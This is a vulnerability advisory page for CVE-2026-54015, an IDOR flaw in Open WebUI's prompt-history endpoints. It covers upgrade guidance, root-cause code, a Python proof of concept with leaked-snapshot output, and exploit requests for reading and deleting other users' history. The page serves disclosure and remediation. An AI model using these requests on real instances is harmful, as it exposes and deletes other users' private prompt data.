CVE-2026-54015: Open WebUI Prompt history IDOR Unbound History_id Allows Cross-prompt Read Vulnerability
MODERATECVE-2026-54015 is a MODERATE (CVSS 6.4) unbound history_id allows cross-prompt read vulnerability (CWE-284: Improper Access Control) affecting Open WebUI Prompt history IDOR libraries in the PyPI ecosystem. The issue involves unbound history_id allows cross-prompt read and deletion. Remediation is available by upgrading affected packages to version 0.9.6.
CVE-2026-54015 at a Glance
Security Impact
CVSS: 6.4
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:L).
How to Fix CVE-2026-54015
To remediate this vulnerability, upgrade all affected Open WebUI Prompt history IDOR dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install open-webui>=0.9.6
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show open-webui
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-54015, inspect your installed packages using pip:
pip show open-webui
Analyze the terminal output to locate any version of Open WebUI Prompt history IDOR in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.9.6), your application is affected.
Note: The pip show open-webui command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-284: Improper Access Control, where the product does not restrict or incorrectly restricts access to a resource from an unauthorized actor. In Open WebUI Prompt history IDOR, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-54015 Affected Open WebUI Prompt history IDOR Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
open-webui
|
PyPI |
< 0.9.6
|
0.9.6
|
References
Frequently Asked Questions
What is CVE-2026-54015?
Which Open WebUI Prompt history IDOR versions are affected?
What version fixes CVE-2026-54015?
Is open-webui affected?
What is the CVSS score of CVE-2026-54015?
What CWE is associated with CVE-2026-54015?
How can I check PyPI dependencies for CVE-2026-54015?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-4r4w-2wgp-w7cj",
"modified" : "2026-07-20T21:07:08Z",
"published" : "2026-06-17T14:16:50Z",
"aliases" : [ "CVE-2026-54015" ],
"summary" : "Open WebUI Prompt history IDOR: unbound history_id allows cross-prompt read and deletion",
"details" : "## Summary\n\nOpen WebUI's prompt version-history endpoints authorize the `prompt_id` in the URL but then act on caller-supplied history IDs without verifying that the history row belongs to that prompt (`history_entry.prompt_id == prompt.id`). Three operations are affected:\n\n- `GET /api/v1/prompts/id/{prompt_id}/history/diff` — returns another prompt's history snapshots (read).\n- `POST /api/v1/prompts/id/{prompt_id}/update/version` — restores another prompt's snapshot into the caller's prompt, exposing its content (read).\n- `DELETE /api/v1/prompts/id/{prompt_id}/history/{history_id}` — deletes another prompt's history entry (delete).\n\nAn authenticated user with access to any prompt they control, plus a victim `prompt_history.id`, can read or delete another user's private prompt history. The single-entry read endpoint (`GET .../history/{history_id}`) already enforces the binding; these three did not.\n\n## Impact\n\nSecurity boundary crossed: prompt confidentiality and integrity.\n\nPrompt history snapshots can contain private prompt text, internal instructions, and sensitive variables. With a known victim `prompt_history.id`, an attacker can read another user's snapshot (via the diff endpoint or by restoring it into their own prompt) and delete another user's history entry. The active prompt row is not destroyed; the delete impact is against version history. Exploitation requires knowing or obtaining victim history UUIDs, so severity depends on adjacent ID exposure.\n\n## Root Cause\n\nThe route checks read access only for `prompt_id`:\n\n```python\n# backend/open_webui/routers/prompts.py\nprompt = await Prompts.get_prompt_by_id(prompt_id, db=db)\n...\nif not (\n user.role == 'admin'\n or prompt.user_id == user.id\n or await AccessGrants.has_access(\n user_id=user.id,\n resource_type='prompt',\n resource_id=prompt.id,\n permission='read',\n db=db,\n )\n):\n raise HTTPException(...)\n```\n\nBut the authorized prompt ID is not passed into the diff sink:\n\n```python\n# backend/open_webui/routers/prompts.py\ndiff = await PromptHistories.compute_diff(from_id, to_id, db=db)\n```\n\n`compute_diff()` fetches both history entries globally by ID and returns their full snapshots:\n\n```python\n# backend/open_webui/models/prompt_history.py\nresult_from = await db.execute(select(PromptHistory).filter(PromptHistory.id == from_id))\nfrom_entry = result_from.scalars().first()\nresult_to = await db.execute(select(PromptHistory).filter(PromptHistory.id == to_id))\nto_entry = result_to.scalars().first()\n...\nreturn {\n 'from_snapshot': from_snapshot,\n 'to_snapshot': to_snapshot,\n ...\n}\n```\n\nThere is no check that `from_entry.prompt_id == prompt_id` or `to_entry.prompt_id == prompt_id`.\n\nThe same missing binding affects two further endpoints. `POST .../update/version` restores a snapshot fetched globally by `version_id`:\n\n```python\n# backend/open_webui/models/prompts.py — update_prompt_version\nhistory_entry = await PromptHistories.get_history_entry_by_id(version_id, db=session)\n...\nprompt.content = snapshot.get('content', prompt.content) # foreign snapshot copied into caller's prompt\nprompt.version_id = version_id\n```\n\n`DELETE .../history/{history_id}` deletes an entry fetched globally by `history_id`:\n\n```python\n# backend/open_webui/models/prompt_history.py — delete_history_entry\nresult = await db.execute(select(PromptHistory).filter_by(id=history_id))\nentry = result.scalars().first()\n...\nawait db.delete(entry)\n```\n\nNeither checks `entry.prompt_id == prompt.id`. The single-entry read endpoint (`GET .../history/{history_id}`) does (`history_entry.prompt_id != prompt.id → 404`); these three endpoints were missing it.\n\n## PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for prompt history diff IDOR.\n\nThe PoC executes:\n - the real routers.prompts.get_prompt_diff() route function\n - the real PromptHistories.compute_diff() implementation\n\nFake model/DB adapters are used only to avoid requiring a running server. The\nsecurity-sensitive behavior under test is that the route authorizes the prompt\nID in the URL, then computes a diff for arbitrary history IDs without checking\nthat those history rows belong to the authorized prompt.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport asyncio\nimport json\nimport os\nimport sys\nimport types\nfrom pathlib import Path\nfrom types import SimpleNamespace\n\n\ndef prepare_imports() -> None:\n repo_root = Path(__file__).resolve().parents[1]\n sys.path.insert(0, str(repo_root / \"backend\"))\n os.environ[\"VECTOR_DB\"] = \"none\"\n\n class DummyTyper:\n def command(self, *args, **kwargs):\n return lambda fn: fn\n\n sys.modules.setdefault(\n \"typer\",\n types.SimpleNamespace(\n Typer=lambda *args, **kwargs: DummyTyper(),\n Option=lambda *args, **kwargs: None,\n echo=lambda *args, **kwargs: None,\n Exit=Exception,\n ),\n )\n sys.modules.setdefault(\"uvicorn\", types.SimpleNamespace(run=lambda *args, **kwargs: None))\n\n\nclass FakeScalarResult:\n def __init__(self, row):\n self.row = row\n\n def first(self):\n return self.row\n\n\nclass FakeExecuteResult:\n def __init__(self, row):\n self.row = row\n\n def scalars(self):\n return FakeScalarResult(self.row)\n\n\nclass FakePromptHistoryDb:\n def __init__(self, rows):\n self.rows = rows\n self.calls = 0\n\n async def execute(self, stmt):\n row = self.rows[self.calls]\n self.calls += 1\n return FakeExecuteResult(row)\n\n\nclass FakeDbContext:\n def __init__(self, db):\n self.db = db\n\n async def __aenter__(self):\n return self.db\n\n async def __aexit__(self, exc_type, exc, tb):\n return False\n\n\nasync def run_real_compute_diff(from_id: str, to_id: str):\n import open_webui.models.prompt_history as history_module\n\n victim_from = SimpleNamespace(\n id=from_id,\n prompt_id=\"victim-prompt\",\n snapshot={\n \"name\": \"Victim Prompt\",\n \"command\": \"/victim\",\n \"content\": \"PRIVATE_PROMPT_SECRET_V1\",\n },\n )\n victim_to = SimpleNamespace(\n id=to_id,\n prompt_id=\"victim-prompt\",\n snapshot={\n \"name\": \"Victim Prompt\",\n \"command\": \"/victim\",\n \"content\": \"PRIVATE_PROMPT_SECRET_V2\",\n },\n )\n\n fake_db = FakePromptHistoryDb([victim_from, victim_to])\n original_context = history_module.get_async_db_context\n try:\n history_module.get_async_db_context = lambda db=None: FakeDbContext(fake_db)\n diff = await history_module.PromptHistories.compute_diff(from_id, to_id)\n finally:\n history_module.get_async_db_context = original_context\n\n return diff\n\n\nasync def main() -> None:\n prepare_imports()\n\n import open_webui.routers.prompts as prompts_router\n\n attacker_prompt = SimpleNamespace(\n id=\"attacker-prompt\",\n user_id=\"attacker\",\n )\n attacker = SimpleNamespace(id=\"attacker\", role=\"user\")\n victim_from_id = \"victim-history-from\"\n victim_to_id = \"victim-history-to\"\n\n class FakePrompts:\n looked_up_prompt_ids = []\n\n async def get_prompt_by_id(self, prompt_id, db=None):\n self.looked_up_prompt_ids.append(prompt_id)\n if prompt_id == \"attacker-prompt\":\n return attacker_prompt\n return None\n\n class FakeAccessGrants:\n async def has_access(self, *args, **kwargs):\n return False\n\n class FakePromptHistories:\n compute_diff_calls = []\n\n async def compute_diff(self, from_id, to_id, db=None):\n self.compute_diff_calls.append(\n {\n \"from_id\": from_id,\n \"to_id\": to_id,\n \"authorized_prompt_id_not_passed\": True,\n }\n )\n return await run_real_compute_diff(from_id, to_id)\n\n fake_prompts = FakePrompts()\n fake_histories = FakePromptHistories()\n\n original = {\n \"Prompts\": prompts_router.Prompts,\n \"AccessGrants\": prompts_router.AccessGrants,\n \"PromptHistories\": prompts_router.PromptHistories,\n }\n try:\n prompts_router.Prompts = fake_prompts\n prompts_router.AccessGrants = FakeAccessGrants()\n prompts_router.PromptHistories = fake_histories\n\n diff = await prompts_router.get_prompt_diff(\n prompt_id=\"attacker-prompt\",\n from_id=victim_from_id,\n to_id=victim_to_id,\n user=attacker,\n db=None,\n )\n finally:\n for name, value in original.items():\n setattr(prompts_router, name, value)\n\n result = {\n \"confirmed\": (\n diff.get(\"from_snapshot\", {}).get(\"content\") == \"PRIVATE_PROMPT_SECRET_V1\"\n and diff.get(\"to_snapshot\", {}).get(\"content\") == \"PRIVATE_PROMPT_SECRET_V2\"\n and fake_prompts.looked_up_prompt_ids == [\"attacker-prompt\"]\n and fake_histories.compute_diff_calls\n and fake_histories.compute_diff_calls[0][\"authorized_prompt_id_not_passed\"] is True\n ),\n \"attacker_user_id\": \"attacker\",\n \"authorized_prompt_id\": \"attacker-prompt\",\n \"victim_prompt_id\": \"victim-prompt\",\n \"victim_history_ids\": [victim_from_id, victim_to_id],\n \"prompt_ids_authorized_by_route\": fake_prompts.looked_up_prompt_ids,\n \"compute_diff_calls\": fake_histories.compute_diff_calls,\n \"leaked_from_snapshot\": diff.get(\"from_snapshot\"),\n \"leaked_to_snapshot\": diff.get(\"to_snapshot\"),\n \"source\": {\n \"route\": \"backend/open_webui/routers/prompts.py:get_prompt_diff\",\n \"sink\": \"backend/open_webui/models/prompt_history.py:PromptHistories.compute_diff\",\n },\n }\n print(json.dumps(result, indent=2, sort_keys=True))\n if not result[\"confirmed\"]:\n raise SystemExit(1)\n\n\nif __name__ == \"__main__\":\n asyncio.run(main())\n```\n\nThe PoC executes the real route function and the real `PromptHistories.compute_diff()` implementation with fake model/DB adapters. It authorizes the attacker against `attacker-prompt`, then supplies two victim history IDs. The route returns the victim prompt snapshots.\n\nResult:\n\n```json\n{\n \"attacker_user_id\": \"attacker\",\n \"authorized_prompt_id\": \"attacker-prompt\",\n \"confirmed\": true,\n \"leaked_from_snapshot\": {\n \"command\": \"/victim\",\n \"content\": \"PRIVATE_PROMPT_SECRET_V1\",\n \"name\": \"Victim Prompt\"\n },\n \"leaked_to_snapshot\": {\n \"command\": \"/victim\",\n \"content\": \"PRIVATE_PROMPT_SECRET_V2\",\n \"name\": \"Victim Prompt\"\n },\n \"prompt_ids_authorized_by_route\": [\n \"attacker-prompt\"\n ],\n \"victim_history_ids\": [\n \"victim-history-from\",\n \"victim-history-to\"\n ],\n \"victim_prompt_id\": \"victim-prompt\"\n}\n```\n\n## Exploit Sketch\n\nRead via the diff endpoint:\n\n1. Attacker has read access to `ATTACKER_PROMPT_ID`.\n2. Attacker knows two history IDs for a victim prompt: `VICTIM_FROM_HISTORY_ID` and `VICTIM_TO_HISTORY_ID`.\n3. Attacker requests:\n\n```text\nGET /api/v1/prompts/id/ATTACKER_PROMPT_ID/history/diff?from_id=VICTIM_FROM_HISTORY_ID&to_id=VICTIM_TO_HISTORY_ID\n```\n\n4. The server authorizes `ATTACKER_PROMPT_ID`, then returns snapshots for the victim history IDs.\n\nRead via restore (`update/version`): the attacker `POST`s `{\"version_id\": \"VICTIM_HISTORY_ID\"}` to their own prompt's `update/version`, then `GET`s their prompt; it now holds the victim snapshot's name/content/data/meta/tags.\n\nDelete: the attacker sends `DELETE /api/v1/prompts/id/ATTACKER_PROMPT_ID/history/VICTIM_HISTORY_ID`; the victim history entry is removed.\n\n## Recommended Fix\n\nBind every prompt-history operation to the authorized prompt before acting on a history ID, mirroring the single-entry read endpoint:\n\n- `compute_diff()` should accept `prompt_id` and query both entries with `PromptHistory.prompt_id == prompt_id` alongside the id filter.\n- `delete_history_entry()` should accept `prompt_id` and filter `filter_by(id=history_id, prompt_id=prompt_id)`.\n- `update_prompt_version()` should reject `history_entry.prompt_id != prompt_id` before restoring.\n\nReturn 404/403 on mismatch.\n\n## Consolidation\n\nPer our Report Handling policy this consolidates independent reports of the same prompt-history authorization flaw (one missing `history_entry.prompt_id == prompt.id` binding) reached through different endpoints:\n\n- Diff-endpoint read and history deletion: @0xEr3n (earliest filings).\n- `update/version` restore-read: distinct path demonstrated by @5yu4n.\n\nOne CVE for the consolidated advisory.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:L"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "open-webui"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.9.6"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 0.9.5"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/open-webui/open-webui/security/advisories/GHSA-4r4w-2wgp-w7cj"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-54015"
}, {
"type" : "ADVISORY",
"url" : "https://github.com/advisories/GHSA-4r4w-2wgp-w7cj"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/open-webui/open-webui"
}, {
"type" : "WEB",
"url" : "https://github.com/pypa/advisory-database/tree/main/vulns/open-webui/PYSEC-2026-2701.yaml"
}, {
"type" : "WEB",
"url" : "https://pypi.org/project/open-webui"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-284", "CWE-639" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-06-17T14:16:50Z",
"nvd_published_at" : "2026-06-23T18:18:06Z"
}
}